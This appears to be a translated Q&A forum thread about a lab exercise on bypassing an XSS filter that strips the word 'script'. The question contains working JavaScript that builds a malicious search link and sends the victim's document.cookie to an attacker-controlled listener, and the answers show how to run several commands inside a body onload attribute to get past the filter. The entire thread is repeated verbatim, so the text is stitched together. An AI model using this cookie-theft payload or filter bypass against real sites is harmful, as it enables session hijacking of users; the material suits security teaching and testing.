删除了 "script" 的 XSS
XSS with "script" removal
这是一道网络安全实践题。
该站点(为此目的而设置)试图通过使用以下代码过滤 'script' 标签来防止 XSS:
filtered = re.sub(r"(?i)script", "", input)
任务是在受害者的浏览器中执行有效负载,该负载会执行包括将 cookie 发送到远程 netcat 连接在内的操作。 (当网站没有过滤时我已经完成了这个 'script')。
我对此进行了研究,发现我可以通过进行如下查询来执行单个 javascript 命令:
"<body onload=alert(\"hello\");>"
但是,这并不能解决我的问题,因为它只能执行一个命令(我相信)。我需要执行的负载包含多个命令。
我也尝试过使用 HTML 字符代码来避免过滤器,例如:
"<script>..."
但过滤器捕获了它。
这是我正在使用的代码库:
<html>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>
function payload(attacker) {
function log(data) {
$.get(attacker, data);
}
function proxy(href) {
$("html").load(href, function(){
//Send cookie to remote connection
log(document.cookie);
});
}
proxy("./");
}
function makeLink(xssdefense, target, attacker) {
if (xssdefense == 0) {
//Code to execute when there is no filter
return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" +
encodeURIComponent("<script" + ">" + payload.toString() + ";payload(\"" + attacker + "\");</script" + ">");
}
else {
//Code to execute when 'script' is filtered
return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" +
encodeURIComponent("<body onload=alert(\"test\");>");
}
}
var xssdefense = 1;
var target = "http://81.211.34.1/xsstest";
var attacker = "http://127.0.0.1:31337/";
$(function() {
var url = makeLink(xssdefense, target, attacker);
$("h3").html("<a id=\"link\" target=\"run\" href=\"" + url + "\"> Enter Site!<\a>");
document.getElementById("link").click();
});
</script> <h3></h3>
</html>
如有任何帮助,我们将不胜感激!
一个 onload=
属性中只能有一个表达式,但您仍然可以执行多个命令。
好办法:
<body onload="(function() { cmd1(); cmd2(); cmd3(); })();">
这定义了一个函数表达式,它执行 3 个命令,然后被调用(也就是最后的 ()
)。
更有效的方法(但说真的,选择第一个):
<body onload="cmd1(), cmd2(), cmd3();">
或者,如果您知道它们都是 return 虚假值(例如 undefined
不 return 任何东西)
<body onload="cmd1() || cmd2() || cmd3();">
相反,如果你知道它们都是 return 真值(如数字、字符串或对象)
<body onload="cmd1() && cmd2() && cmd3();">
您可以在onload
中有多个表达式:
<body onload="alert(1); alert(2);">
这是一道网络安全实践题。
该站点(为此目的而设置)试图通过使用以下代码过滤 'script' 标签来防止 XSS:
filtered = re.sub(r"(?i)script", "", input)
任务是在受害者的浏览器中执行有效负载,该负载会执行包括将 cookie 发送到远程 netcat 连接在内的操作。 (当网站没有过滤时我已经完成了这个 'script')。
我对此进行了研究,发现我可以通过进行如下查询来执行单个 javascript 命令:
"<body onload=alert(\"hello\");>"
但是,这并不能解决我的问题,因为它只能执行一个命令(我相信)。我需要执行的负载包含多个命令。
我也尝试过使用 HTML 字符代码来避免过滤器,例如:
"<script>..."
但过滤器捕获了它。
这是我正在使用的代码库:
<html>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>
function payload(attacker) {
function log(data) {
$.get(attacker, data);
}
function proxy(href) {
$("html").load(href, function(){
//Send cookie to remote connection
log(document.cookie);
});
}
proxy("./");
}
function makeLink(xssdefense, target, attacker) {
if (xssdefense == 0) {
//Code to execute when there is no filter
return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" +
encodeURIComponent("<script" + ">" + payload.toString() + ";payload(\"" + attacker + "\");</script" + ">");
}
else {
//Code to execute when 'script' is filtered
return target + "./search?xssdefemse=" + xssdefense.toString() + "&q=" +
encodeURIComponent("<body onload=alert(\"test\");>");
}
}
var xssdefense = 1;
var target = "http://81.211.34.1/xsstest";
var attacker = "http://127.0.0.1:31337/";
$(function() {
var url = makeLink(xssdefense, target, attacker);
$("h3").html("<a id=\"link\" target=\"run\" href=\"" + url + "\"> Enter Site!<\a>");
document.getElementById("link").click();
});
</script> <h3></h3>
</html>
如有任何帮助,我们将不胜感激!
一个 onload=
属性中只能有一个表达式,但您仍然可以执行多个命令。
好办法:
<body onload="(function() { cmd1(); cmd2(); cmd3(); })();">
这定义了一个函数表达式,它执行 3 个命令,然后被调用(也就是最后的 ()
)。
更有效的方法(但说真的,选择第一个):
<body onload="cmd1(), cmd2(), cmd3();">
或者,如果您知道它们都是 return 虚假值(例如 undefined
不 return 任何东西)
<body onload="cmd1() || cmd2() || cmd3();">
相反,如果你知道它们都是 return 真值(如数字、字符串或对象)
<body onload="cmd1() && cmd2() && cmd3();">
您可以在onload
中有多个表达式:
<body onload="alert(1); alert(2);">